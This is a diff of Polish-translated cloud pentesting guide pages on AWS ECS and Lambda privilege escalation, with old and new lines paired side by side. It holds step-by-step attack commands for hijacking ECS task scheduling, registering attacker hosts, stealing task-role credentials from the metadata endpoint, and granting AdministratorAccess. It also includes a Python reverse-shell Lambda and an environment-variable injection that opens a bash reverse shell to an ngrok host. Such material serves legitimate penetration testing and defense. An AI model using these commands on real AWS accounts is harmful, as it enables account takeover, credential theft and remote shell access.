Atakujący posiadający **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\
|
||||
Jednak, aby to zrobić, instancja kontenera musi mieć uruchomionego **ExecuteCommand agent** (który domyślnie nie jest uruchomiony).
|
||||
Atakujący posiadający uprawnienia **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **execute commands** wewnątrz uruchomionego kontenera i exfiltrate przypisaną do niego IAM role (potrzebujesz describe permissions, ponieważ są one wymagane do uruchomienia `aws ecs execute-command`).\
|
||||
Jednakże, aby to zrobić, instancja kontenera musi mieć uruchomionego **ExecuteCommand agent** (który domyślnie nie jest).
|
||||
|
||||
Therefore, the attacker could try to:
|
||||
Therefore, the attacker cloud try to:
|
||||
|
||||
- **Try to run a command** w każdym uruchomionym kontenerze
|
||||
- **Spróbuj uruchomić polecenie** w każdym uruchomionym kontenerze
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -256,18 +256,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- Jeśli posiada **`ecs:RunTask`**, uruchom zadanie za pomocą `aws ecs run-task --enable-execute-command [...]`
|
||||
- Jeśli posiada **`ecs:StartTask`**, uruchom zadanie za pomocą `aws ecs start-task --enable-execute-command [...]`
|
||||
- Jeśli posiada **`ecs:CreateService`**, utwórz usługę za pomocą `aws ecs create-service --enable-execute-command [...]`
|
||||
- Jeśli posiada **`ecs:UpdateService`**, zaktualizuj usługę za pomocą `aws ecs update-service --enable-execute-command [...]`
|
||||
- Jeśli ma **`ecs:RunTask`**, uruchom zadanie z `aws ecs run-task --enable-execute-command [...]`
|
||||
- Jeśli ma **`ecs:StartTask`**, uruchom zadanie z `aws ecs start-task --enable-execute-command [...]`
|
||||
- Jeśli ma **`ecs:CreateService`**, utwórz usługę z `aws ecs create-service --enable-execute-command [...]`
|
||||
- Jeśli ma **`ecs:UpdateService`**, zaktualizuj usługę z `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Możesz znaleźć **przykłady tych opcji** we **wcześniejszych sekcjach ECS privesc**.
|
||||
Możesz znaleźć **przykłady tych opcji** w **poprzednich sekcjach ECS privesc**.
|
||||
|
||||
**Potential Impact:** Privesc do innej roli przypisanej do kontenerów.
|
||||
**Potencjalny wpływ:** Privesc do innej roli przypisanej do kontenerów.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Sprawdź na stronie **ssm privesc**, jak możesz nadużyć tego uprawnienia, aby **privesc do ECS**:
|
||||
Sprawdź na **stronie ssm privesc**, jak możesz nadużyć tego uprawnienia, aby **privesc do ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ssm-privesc/README.md
|
||||
@@ -275,7 +275,7 @@ Sprawdź na stronie **ssm privesc**, jak możesz nadużyć tego uprawnienia, aby
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Sprawdź na stronie **ec2 privesc**, jak możesz nadużyć tych uprawnień, aby **privesc do ECS**:
|
||||
Sprawdź na **stronie ec2 privesc**, jak możesz nadużyć tych uprawnień, aby **privesc do ECS**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-privesc/README.md
|
||||
@@ -283,16 +283,16 @@ Sprawdź na stronie **ec2 privesc**, jak możesz nadużyć tych uprawnień, aby
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
Atakujący posiadający te uprawnienia mógłby potencjalnie zarejestrować instancję EC2 w klastrze ECS i uruchamiać na niej zadania. Mogłoby to pozwolić atakującemu na uruchomienie dowolnego kodu w kontekście zadań ECS.
|
||||
Atakujący z tymi uprawnieniami mógłby potencjalnie zarejestrować instancję EC2 w klastrze ECS i uruchomić na niej zadania. Mogłoby to pozwolić atakującemu na wykonanie dowolnego kodu w kontekście zadań ECS.
|
||||
|
||||
- TODO: Czy możliwe jest zarejestrowanie instancji z innego konta AWS tak, żeby zadania były uruchamiane na maszynach kontrolowanych przez atakującego??
|
||||
- TODO: Czy możliwe jest zarejestrowanie instancji z innego konta AWS, tak aby zadania były uruchamiane na maszynach kontrolowanych przez atakującego??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Przetestować to
|
||||
|
||||
Atakujący posiadający uprawnienia `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` i `ecs:DescribeTaskSets` może **utworzyć złośliwy task set dla istniejącej usługi ECS i zaktualizować primary task set**. Pozwala to atakującemu **uruchomić dowolny kod w ramach usługi**.
|
||||
Atakujący posiadający uprawnienia `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` i `ecs:DescribeTaskSets` może **utworzyć złośliwy task set dla istniejącej usługi ECS i zaktualizować primary task set**. To pozwala atakującemu **wykonać dowolny kod w ramach usługi**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -318,13 +318,13 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Potencjalny wpływ**: Wykonanie dowolnego kodu w dotkniętej usłudze, co może wpłynąć na jej funkcjonalność lub doprowadzić do wycieku wrażliwych danych.
|
||||
**Potential Impact**: Wykonanie dowolnego kodu w zaatakowanej usłudze, co może wpłynąć na jej działanie lub doprowadzić do wykradzenia wrażliwych danych.
|
||||
|
||||
## Źródła
|
||||
## Referencje
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -332,7 +332,7 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
Atakujący z uprawnieniami do zarządzania ECS capacity providers i aktualizowania usług może utworzyć kontrolowaną przez siebie EC2 Auto Scaling Group, opakować ją w ECS Capacity Provider, skojarzyć z docelowym klastrem i przenieść usługę ofiary, aby używała tego providera. Zadania zostaną wtedy zaplanowane na instancjach EC2 kontrolowanych przez atakującego, co umożliwia dostęp na poziomie systemu operacyjnego do przeglądania kontenerów i kradzieży poświadczeń roli zadań.
|
||||
Atakujący z uprawnieniami do zarządzania ECS capacity providers i aktualizowania usług może utworzyć EC2 Auto Scaling Group pod swoją kontrolą, opakować ją jako ECS Capacity Provider, przypisać do target cluster i zmigrować usługę ofiary, aby używała tego provider. Zadania zostaną wtedy zaplanowane na EC2 instances kontrolowanych przez atakującego, co pozwala na dostęp na poziomie systemu operacyjnego (OS-level) do inspekcji kontenerów i kradzieży task role credentials.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
@@ -340,7 +340,7 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- Utwórz Launch Template, aby agent ECS dołączył do docelowego klastra
|
||||
- Utwórz Launch Template dla ECS agent, aby dołączył do target cluster
|
||||
|
||||
|
||||
|
||||
@@ -352,29 +352,29 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
- Skojarz Capacity Provider z klastrem (opcjonalnie jako domyślny)
|
||||
- Powiąż Capacity Provider z klastrem (opcjonalnie jako domyślny)
|
||||
|
||||
|
||||
|
||||
- Migruj usługę na swój provider
|
||||
- Zmigruj usługę, aby używała Twojego provider
|
||||
|
||||
|
||||
|
||||
- Zweryfikuj, że zadania lądują na instancjach kontrolowanych przez atakującego
|
||||
- Zweryfikuj, że zadania uruchamiają się na instancjach kontrolowanych przez atakującego
|
||||
|
||||
|
||||
|
||||
- Opcjonalnie: z węzła EC2 wykonaj docker exec do docelowych kontenerów i odczytaj http://169.254.170.2, aby uzyskać poświadczenia roli zadania.
|
||||
- Opcjonalnie: z poziomu EC2 node wykonaj docker exec do docelowych kontenerów i odczytaj http://169.254.170.2 aby uzyskać task role credentials.
|
||||
|
||||
- Czyszczenie
|
||||
|
||||
|
||||
|
||||
**Potencjalny wpływ:** Instancje EC2 kontrolowane przez atakującego otrzymują zadania ofiary, co umożliwia dostęp na poziomie systemu operacyjnego do kontenerów i kradzież poświadczeń roli IAM zadań.
|
||||
**Potential Impact:** EC2 nodes kontrolowane przez atakującego otrzymują zadania ofiary, umożliwiając dostęp na poziomie systemu operacyjnego do kontenerów i kradzież task IAM role credentials.
|
||||
|
||||
|
||||
<details>
|
||||
<summary>Krok po kroku polecenia (kopiuj/wklej)</summary>
|
||||
<summary>Polecenia krok po kroku (kopiuj/wklej)</summary>
|
||||
<pre>
|
||||
export AWS_DEFAULT_REGION=us-east-1
|
||||
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
|
||||
@@ -409,23 +409,23 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
|
||||
|
||||
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
|
||||
|
||||
Abuse ECS Anywhere, aby zarejestrować host kontrolowany przez atakującego jako EXTERNAL container instance w klastrze ECS ofiary i uruchamiać zadania na tym hoście, używając uprzywilejowanych task i execution roles. To daje kontrolę na poziomie systemu operacyjnego nad miejscem wykonywania zadań (własna maszyna) oraz pozwala na kradzież poświadczeń/danych z zadań i dołączonych wolumenów bez manipulowania capacity providers lub ASG.
|
||||
Nadużyj ECS Anywhere, aby zarejestrować host kontrolowany przez atakującego jako EXTERNAL container instance w klastrze ECS ofiary i uruchamiać na nim zadania przy użyciu uprzywilejowanych task i execution roles. Daje to kontrolę na poziomie systemu operacyjnego nad miejscem uruchamiania zadań (twoja własna maszyna) i umożliwia kradzież poświadczeń/danych z zadań oraz podłączonych wolumenów bez ingerencji w capacity providers czy ASGs.
|
||||
|
||||
- Required perms (example minimal):
|
||||
- Wymagane uprawnienia (przykład minimalny):
|
||||
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
|
||||
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (dla ECS Anywhere instance role oraz task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (jeśli używasz awslogs)
|
||||
|
||||
- Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; exfiltrate task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; access any volumes mounted by tasks; stealthier than manipulating capacity providers/ASGs.
|
||||
- Wpływ: Uruchamianie dowolnych kontenerów z wybranym taskRoleArn na hoście kontrolowanym przez atakującego; eksfiltracja task-role credentials z 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; dostęp do dowolnych wolumenów zamontowanych przez zadania; bardziej ukryte niż manipulowanie capacity providers/ASGs.
|
||||
|
||||
Steps
|
||||
Kroki
|
||||
|
||||
1) Utwórz/znajdź klaster (us-east-1)
|
||||
```bash
|
||||
aws ecs create-cluster --cluster-name ht-ecs-anywhere
|
||||
```
|
||||
2) Utwórz rolę ECS Anywhere i aktywację SSM (dla on-prem/EXTERNAL instance)
|
||||
2) Utwórz rolę ECS Anywhere i aktywację SSM (dla instancji on-prem/EXTERNAL)
|
||||
```bash
|
||||
aws iam create-role --role-name ecsAnywhereRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
@@ -434,7 +434,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
|
||||
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
|
||||
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
|
||||
```
|
||||
3) Utwórz hosta atakującego i automatycznie zarejestruj go jako EXTERNAL (przykład: mały AL2 EC2 jako “on‑prem”)
|
||||
3) Przygotuj hosta atakującego i automatycznie zarejestruj go jako EXTERNAL (przykład: mały AL2 EC2 jako “on‑prem”)
|
||||
|
||||
<details>
|
||||
<summary>user-data.sh</summary>
|
||||
@@ -455,14 +455,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
|
||||
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
|
||||
aws ec2 wait instance-status-ok --instance-ids $IID
|
||||
```
|
||||
4) Zweryfikuj, że EXTERNAL container instance dołączył
|
||||
4) Zweryfikuj, czy zewnętrzna instancja kontenera dołączyła
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster ht-ecs-anywhere
|
||||
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
|
||||
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
|
||||
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
|
||||
```
|
||||
5) Utwórz task/execution roles, zarejestruj EXTERNAL task definition i uruchom na attacker host
|
||||
5) Utwórz task/execution roles, zarejestruj EXTERNAL task definition i uruchom ją na hoście atakującego
|
||||
```bash
|
||||
# roles
|
||||
aws iam create-role --role-name ht-ecs-task-exec \
|
||||
@@ -498,53 +498,33 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
|
||||
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
--container-instances $CI
|
||||
```
|
||||
6) Stąd masz kontrolę nad hostem, który uruchamia tasks. Możesz czytać task logs (jeśli awslogs) lub bezpośrednio exec na hoście, aby exfiltrate credentials/data z twoich tasks.
|
||||
|
||||
|
||||
|
||||
#### Command example (placeholders)
|
||||
|
||||
|
||||
6) Stąd kontrolujesz hosta uruchamiającego tasks. Możesz odczytać logi z zadań (jeśli awslogs) lub bezpośrednio wykonać exec na hoście, aby eksfiltrować poświadczenia/dane z twoich tasks.
|
||||
|
||||
#### Przykład polecenia (placeholders)
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
Attacker z uprawnieniami do zarządzania ECS capacity providers i aktualizacji usług może utworzyć EC2 Auto Scaling Group, którą kontroluje, opakować ją w ECS Capacity Provider, powiązać z docelowym clusterem i zmigrować victim service, aby korzystał z tego provider. Tasks będą wtedy planowane na attacker-controlled EC2 instances, co umożliwi OS-level access do inspekcji containers i kradzieży task role credentials.
|
||||
Atakujący z uprawnieniami do zarządzania ECS capacity providers i aktualizowania services może utworzyć EC2 Auto Scaling Group, którą kontroluje, opakować ją w ECS Capacity Provider, powiązać ją z docelowym clusterem i zmigrować victim service, aby używał tego provider. Tasks zostaną wtedy zaplanowane na instancjach EC2 kontrolowanych przez atakującego, co umożliwia dostęp na poziomie OS do inspekcji containers i kradzież task role credentials.
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
- Wymagania wstępne
|
||||
|
||||
|
||||
|
||||
- Utwórz Launch Template, aby ECS agent mógł dołączyć do target cluster
|
||||
|
||||
|
||||
- Utwórz Launch Template, aby ECS agent dołączył do target cluster
|
||||
|
||||
- Utwórz Auto Scaling Group
|
||||
|
||||
|
||||
|
||||
- Utwórz Capacity Provider z ASG
|
||||
|
||||
|
||||
|
||||
- Powiąż Capacity Provider z clusterem (opcjonalnie jako domyślny)
|
||||
|
||||
- Przenieś service, aby korzystał z twojego Capacity Provider
|
||||
|
||||
|
||||
- Zmigruj service, aby używał twojego provider
|
||||
|
||||
|
||||
|
||||
- Zweryfikuj, że tasks uruchamiają się na attacker instances
|
||||
|
||||
|
||||
- Zweryfikuj, że tasks trafiają na instancje kontrolowane przez atakującego
|
||||
|
||||
- Opcjonalnie: z EC2 node wykonaj docker exec do target containers i odczytaj http://169.254.170.2, aby uzyskać task role credentials.
|
||||
|
||||
- Sprzątanie
|
||||
|
||||
|
||||
|
||||
**Potencjalny wpływ:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.
|
||||
**Potencjalny wpływ:** EC2 nodes kontrolowane przez atakującego otrzymują zadania ofiary, umożliwiając dostęp na poziomie systemu operacyjnego do kontenerów i kradzież task IAM role credentials.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+54
-54
@@ -12,11 +12,11 @@ Więcej informacji o lambda w:
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
Użytkownicy z uprawnieniami **`iam:PassRole`, `lambda:CreateFunction` i `lambda:InvokeFunction`** mogą eskalować swoje uprawnienia.\
|
||||
Mogą **utworzyć nową funkcję Lambda i przypisać jej istniejącą rolę IAM**, przyznając funkcji uprawnienia związane z tą rolą. Użytkownik może następnie **napisać i wgrać kod do tej funkcji Lambda (np. zawierający rev shell)**.\
|
||||
Po skonfigurowaniu funkcji, użytkownik może **uruchomić jej wykonanie** i wykonywać zamierzone działania, wywołując funkcję Lambda przez AWS API. To podejście pozwala użytkownikowi wykonywać zadania pośrednio przez funkcję Lambda, działając z poziomem dostępu przyznanym roli IAM skojarzonej z tą funkcją.\\
|
||||
Użytkownicy posiadający uprawnienia **`iam:PassRole`, `lambda:CreateFunction` i `lambda:InvokeFunction`** mogą eskalować swoje przywileje.\
|
||||
Mogą **utworzyć nową funkcję Lambda i przypisać jej istniejącą rolę IAM**, nadając funkcji uprawnienia związane z tą rolą. Następnie użytkownik może **napisać i wgrać kod do tej funkcji Lambda (np. z rev shell)**.\
|
||||
Gdy funkcja jest skonfigurowana, użytkownik może **wywołać jej wykonanie** i zamierzone działania, wywołując funkcję Lambda przez AWS API. Takie podejście pozwala użytkownikowi wykonywać zadania pośrednio za pomocą funkcji Lambda, działając z poziomem dostępu przyznanym roli IAM przypisanej do niej.\\
|
||||
|
||||
Atakujący mógłby to wykorzystać, aby uzyskać **rev shell i ukraść token**:
|
||||
Atakujący może to wykorzystać, aby uzyskać **rev shell i ukraść token**:
|
||||
```python:rev.py
|
||||
import socket,subprocess,os,time
|
||||
def lambda_handler(event, context):
|
||||
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
|
||||
# List roles
|
||||
aws iam list-attached-user-policies --user-name <user-name>
|
||||
```
|
||||
Możesz również **abuse the lambda role permissions** bezpośrednio z lambda function.\
|
||||
Jeśli lambda role miałaby wystarczające permissions, mógłbyś użyć jej, aby nadać sobie admin rights:
|
||||
Możesz również **abuse the lambda role permissions** z samej lambda function.\
|
||||
Jeśli lambda role ma wystarczające permissions, możesz go użyć, aby przyznać sobie admin rights:
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
Możliwe jest również leak poświadczeń roli lambda bez potrzeby nawiązywania połączenia zewnętrznego. Byłoby to przydatne dla **Network isolated Lambdas** używanych do zadań wewnętrznych. Jeśli nieznane security groups filtrują twoje reverse shells, ten fragment kodu pozwoli ci bezpośrednio leak poświadczeń jako output of the lambda.
|
||||
Możliwe jest także leak poświadczeń roli lambda bez konieczności nawiązywania połączenia zewnętrznego. To przydatne w przypadku **Network isolated Lambdas** wykorzystywanych do zadań wewnętrznych. Jeśli nieznane security groups filtrują Twoje reverse shells, ten fragment kodu pozwoli Ci bezpośrednio leak poświadczeń jako output lambda.
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -72,10 +72,10 @@ return {
|
||||
aws lambda invoke --function-name <lambda_name> output.txt
|
||||
cat output.txt
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do określonej lambda service role.
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do określonej roli usługi lambda.
|
||||
|
||||
> [!CAUTION]
|
||||
> Zwróć uwagę, że nawet jeśli **`lambda:InvokeAsync`** może wyglądać interesująco, **nie** pozwala samodzielnie na wykonanie **`aws lambda invoke-async`**, potrzebujesz też `lambda:InvokeFunction`
|
||||
> Zwróć uwagę, że choć może to wyglądać interesująco, **`lambda:InvokeAsync`** **nie** pozwala samo w sobie na **wykonanie `aws lambda invoke-async`**, potrzebujesz również `lambda:InvokeFunction`
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
@@ -85,21 +85,21 @@ Jak w poprzednim scenariuszu, możesz **przyznać sobie uprawnienie `lambda:Invo
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
|
||||
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
|
||||
```
|
||||
**Potencjalny wpływ:** Direct privesc do wskazanej roli serwisowej lambda.
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej określonej roli usługi Lambda.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
Użytkownicy posiadający **`iam:PassRole`, `lambda:CreateFunction`, oraz `lambda:CreateEventSourceMapping`** uprawnienia (a potencjalnie także `dynamodb:PutItem` i `dynamodb:CreateTable`) mogą pośrednio **escalate privileges** nawet bez `lambda:InvokeFunction`.\
|
||||
Mogą utworzyć **Lambda function z złośliwym kodem i przypisać jej istniejącą IAM role**.
|
||||
Użytkownicy z uprawnieniami **`iam:PassRole`, `lambda:CreateFunction` i `lambda:CreateEventSourceMapping`** (a potencjalnie `dynamodb:PutItem` i `dynamodb:CreateTable`) mogą pośrednio **eskalować uprawnienia** nawet bez `lambda:InvokeFunction`.\
|
||||
Mogą utworzyć **funkcję Lambda ze złośliwym kodem i przypisać jej istniejącą rolę IAM**.
|
||||
|
||||
Zamiast bezpośrednio wywoływać Lambda, użytkownik tworzy lub wykorzystuje istniejącą tabelę DynamoDB, łącząc ją z Lambda poprzez event source mapping. Ta konfiguracja zapewnia, że Lambda function jest **uruchamiana automatycznie po dodaniu nowego elementu** do tabeli, albo w wyniku działania użytkownika, albo innego procesu, tym samym pośrednio wywołując Lambda function i wykonując kod z uprawnieniami przekazanej IAM role.
|
||||
Zamiast bezpośrednio wywoływać funkcję Lambda, użytkownik tworzy lub wykorzystuje istniejącą tabelę DynamoDB, łącząc ją z funkcją Lambda przez event source mapping. To ustawienie powoduje, że funkcja Lambda jest **uruchamiana automatycznie po dodaniu nowego elementu** do tabeli, przez działanie użytkownika lub inny proces, co w ten sposób pośrednio wywołuje funkcję Lambda i wykonuje kod z uprawnieniami przekazanej roli IAM.
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
Jeśli DynamoDB jest już aktywny w środowisku AWS, użytkownik musi jedynie **skonfigurować event source mapping** dla funkcji Lambda. Jeśli jednak DynamoDB nie jest używany, użytkownik musi **utworzyć nową tabelę** z włączonym strumieniowaniem:
|
||||
Jeśli DynamoDB jest już aktywne w środowisku AWS, użytkownik **musi jedynie ustanowić mapowanie źródła zdarzeń** dla funkcji Lambda. Jednak jeśli DynamoDB nie jest używane, użytkownik musi **utworzyć nową tabelę** z włączonym streamingiem:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -113,16 +113,16 @@ aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
Jeżeli funkcja Lambda jest powiązana z DynamoDB stream, atakujący może **pośrednio wywołać funkcję Lambda, aktywując DynamoDB stream**. Można to osiągnąć poprzez **wstawienie elementu** do tabeli DynamoDB:
|
||||
Jeżeli funkcja Lambda jest połączona ze strumieniem DynamoDB, atakujący może **pośrednio wywołać funkcję Lambda, aktywując strumień DynamoDB**. Można to osiągnąć poprzez **wstawienie elementu** do tabeli DynamoDB:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do wskazanej roli serwisowej lambda.
|
||||
**Potential Impact:** Bezpośredni privesc do wskazanej roli usługi lambda.
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
Atakujący posiadający to uprawnienie może **przyznać sobie (lub innym) dowolne uprawnienia** (co powoduje wygenerowanie polityk opartych na zasobach, które przyznają dostęp do zasobu):
|
||||
Atakujący posiadający to uprawnienie może **przyznać sobie (lub innym) dowolne uprawnienia** (to tworzy polityki oparte na zasobach przyznające dostęp do zasobu):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do lambda service role poprzez przyznanie uprawnienia do modyfikacji kodu i jego uruchamiania.
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do roli usługi lambda poprzez nadanie uprawnienia do modyfikacji kodu i jego uruchamiania.
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
Atakujący posiadający to uprawnienie może **przyznać sobie (lub innym) uprawnienie `lambda:GetLayerVersion`**. Może uzyskać dostęp do warstwy i wyszukiwać podatności lub wrażliwe informacje.
|
||||
Atakujący posiadający to uprawnienie może **przyznać sobie (lub innym) uprawnienie `lambda:GetLayerVersion`**. Mógłby uzyskać dostęp do warstwy i szukać podatności lub wrażliwych informacji
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
```
|
||||
**Potential Impact:** Potencjalny dostęp do wrażliwych informacji.
|
||||
**Potential Impact:** Potencjalny dostęp do poufnych informacji.
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Użytkownicy posiadający uprawnienie **`lambda:UpdateFunctionCode`** mają możliwość **zmodyfikowania kodu istniejącej funkcji Lambda powiązanej z rolą IAM.**\
|
||||
Atakujący może **modify the code of the lambda to exfiltrate the IAM credentials**.
|
||||
Użytkownicy posiadający uprawnienie **`lambda:UpdateFunctionCode`** mają możliwość **zmodyfikowania kodu istniejącej funkcji Lambda przypisanej do roli IAM.**\
|
||||
Atakujący może **zmodyfikować kod funkcji Lambda, aby exfiltrate the IAM credentials**.
|
||||
|
||||
Chociaż atakujący może nie mieć bezpośredniej możliwości wywołania funkcji, jeśli funkcja Lambda już istnieje i jest operacyjna, istnieje duże prawdopodobieństwo, że zostanie wyzwolona przez istniejące przepływy pracy lub zdarzenia, co pośrednio ułatwi wykonanie zmodyfikowanego kodu.
|
||||
Chociaż atakujący może nie mieć bezpośredniej możliwości wywołania funkcji, jeśli funkcja Lambda jest już istniejąca i działa, prawdopodobne jest, że zostanie uruchomiona przez istniejące przepływy pracy lub zdarzenia, co pośrednio umożliwi wykonanie zmodyfikowanego kodu.
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -161,23 +161,23 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### RCE przez zmienne środowiskowe
|
||||
#### RCE poprzez zmienne środowiskowe
|
||||
|
||||
Z tymi uprawnieniami można dodać zmienne środowiskowe, które spowodują, że Lambda wykona dowolny kod. Na przykład w Pythonie można wykorzystać zmienne środowiskowe `PYTHONWARNING` i `BROWSER`, aby spowodować, że proces Pythona wykona dowolne polecenia:
|
||||
Dzięki tym uprawnieniom można dodać zmienne środowiskowe, które spowodują, że Lambda wykona dowolny kod. Na przykład w pythonie można wykorzystać zmienne środowiskowe `PYTHONWARNING` i `BROWSER`, aby sprawić, że proces python wykona dowolne polecenia:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
Dla innych języków skryptowych dostępne są inne zmienne środowiskowe, których możesz użyć. Po więcej informacji sprawdź podsekcje dotyczące języków skryptowych w:
|
||||
Dla innych języków skryptowych dostępne są inne env variables, których możesz użyć. Po więcej informacji sprawdź podsekcje dotyczące języków skryptowych w:
|
